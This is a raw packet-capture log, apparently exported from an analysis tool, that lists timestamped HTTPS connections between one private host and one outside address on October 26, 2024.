Oct 26, 2024 13:46:02.797342062 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.797435045 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.797605991 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.797605991 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.797647953 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.797674894 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.799968958 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.800240993 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.800319910 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.802740097 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.802758932 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.802791119 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.802798033 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.805228949 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.805335045 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.805481911 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.806220055 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.806261063 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.806379080 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.806529045 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.806545019 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.806739092 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.806751966 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.832561970 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.833544016 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.833585024 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.834302902 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.834315062 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.966547966 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.966707945 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.966792107 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.967010975 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.967010975 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.967052937 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.967077017 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.969501972 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.969573975 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.969682932 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.969836950 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.969850063 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.166357994 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.166785002 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.166812897 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.167501926 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.167509079 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.175770044 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.176258087 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.176281929 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.176934004 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.176940918 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.294024944 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.294193983 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.294311047 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.295207977 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.295232058 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.295242071 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.295248032 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.306372881 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.306544065 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.306632042 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.308587074 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.308633089 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.308696985 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.309688091 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.309709072 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.309781075 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.309787035 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.320385933 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.320408106 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.323586941 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.323620081 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.323674917 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.323925972 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.323940992 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.551021099 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.551836014 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.551866055 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.552417994 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.552423954 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.555068016 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.555391073 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.555421114 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.556128979 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.556135893 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.683594942 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.683670998 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.683856010 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.688577890 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.688662052 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.688771963 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.691462040 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.691478968 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.691495895 CEST	49781	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.691503048 CEST	443	49781	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.692641973 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.692665100 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.692692995 CEST	49782	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.692701101 CEST	443	49782	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.729382992 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.784372091 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.784394979 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.784976006 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.784981012 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.845622063 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.845690012 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.845810890 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.851005077 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.851051092 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.851151943 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.881560087 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.881592035 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.883033037 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.883049011 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.914515972 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.914707899 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.914771080 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.954032898 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.954032898 CEST	49783	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.954054117 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.954065084 CEST	443	49783	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.977169991 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.977230072 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:03.977322102 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.985992908 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:03.986012936 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.077339888 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.077815056 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.079415083 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.079438925 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.080066919 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.080071926 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.080723047 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.080743074 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.081579924 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.081584930 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211266041 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211354971 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211435080 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211503029 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.211575031 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211662054 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.211702108 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.211716890 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.211741924 CEST	49785	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.211749077 CEST	443	49785	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.218633890 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.218669891 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.218739986 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.218780041 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.218812943 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.218827963 CEST	49784	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.218835115 CEST	443	49784	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.220015049 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.220027924 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.222634077 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.222682953 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.222767115 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.222992897 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.223020077 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.620532036 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.621099949 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.621143103 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.621575117 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.621579885 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.632215023 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.632927895 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.632946968 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.633658886 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.633665085 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.751188993 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.751322985 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.751377106 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.751553059 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.751571894 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.751583099 CEST	49786	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.751589060 CEST	443	49786	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.754069090 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.762942076 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.762965918 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.763518095 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.763524055 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.764735937 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.764827967 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.764925957 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.765580893 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.765620947 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.765693903 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.765693903 CEST	49787	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.765716076 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.765717983 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.765723944 CEST	443	49787	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.766064882 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.766079903 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.769041061 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.769071102 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.769153118 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.769364119 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.769378901 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.892652035 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.892913103 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.893019915 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.898257971 CEST	49788	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.898282051 CEST	443	49788	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.901973009 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.902019978 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.902087927 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.902461052 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:04.902473927 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.959657907 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:04.966850996 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.033233881 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.035356998 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.202775002 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.202814102 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.204051018 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.204056025 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.204895020 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.204916954 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.207201004 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.207206011 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.333035946 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.333220005 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.333276987 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.333568096 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.333568096 CEST	49790	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.333585978 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.333595037 CEST	443	49790	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.334667921 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.334836006 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.334902048 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.335464954 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.335480928 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.335490942 CEST	49789	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.335495949 CEST	443	49789	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.336863995 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.336903095 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.337037086 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.337732077 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.337740898 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.337758064 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.337759018 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.337825060 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.337980032 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.337991953 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.503341913 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.504584074 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.504606962 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.504777908 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.504782915 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.520349979 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.520833015 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.520852089 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.521337986 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.521343946 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.638658047 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.639327049 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.639343023 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.639771938 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.639777899 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.642942905 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.643019915 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.643178940 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.643241882 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.643289089 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.643290043 CEST	49792	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.643320084 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.643333912 CEST	443	49792	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.646085024 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.646120071 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.646183014 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.646342039 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.646369934 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.654033899 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.654274940 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.654330969 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.654356003 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.654371977 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.654381990 CEST	49791	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.654386997 CEST	443	49791	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.656598091 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.656619072 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.656682014 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.656862020 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.656873941 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.767966986 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.768130064 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.768213987 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.768596888 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.768620968 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.768630981 CEST	49793	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.768637896 CEST	443	49793	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.771286011 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.771328926 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:05.771641016 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.771823883 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:05.771836996 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.072055101 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.073393106 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.073427916 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.074002981 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.074013948 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.085139990 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.085622072 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.085649014 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.086050987 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.086056948 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.199100971 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.199404001 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.199471951 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.199515104 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.199541092 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.199553013 CEST	49794	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.199561119 CEST	443	49794	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.202969074 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.203003883 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.203160048 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.203516006 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.203528881 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.216648102 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.216705084 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.216819048 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.216835022 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.216922045 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.216922998 CEST	49795	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.216933012 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.216984987 CEST	443	49795	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.219332933 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.219383955 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.219468117 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.219599009 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.219611883 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.373658895 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.374294043 CEST	49796	443	192.168.2.9	13.107.246.42
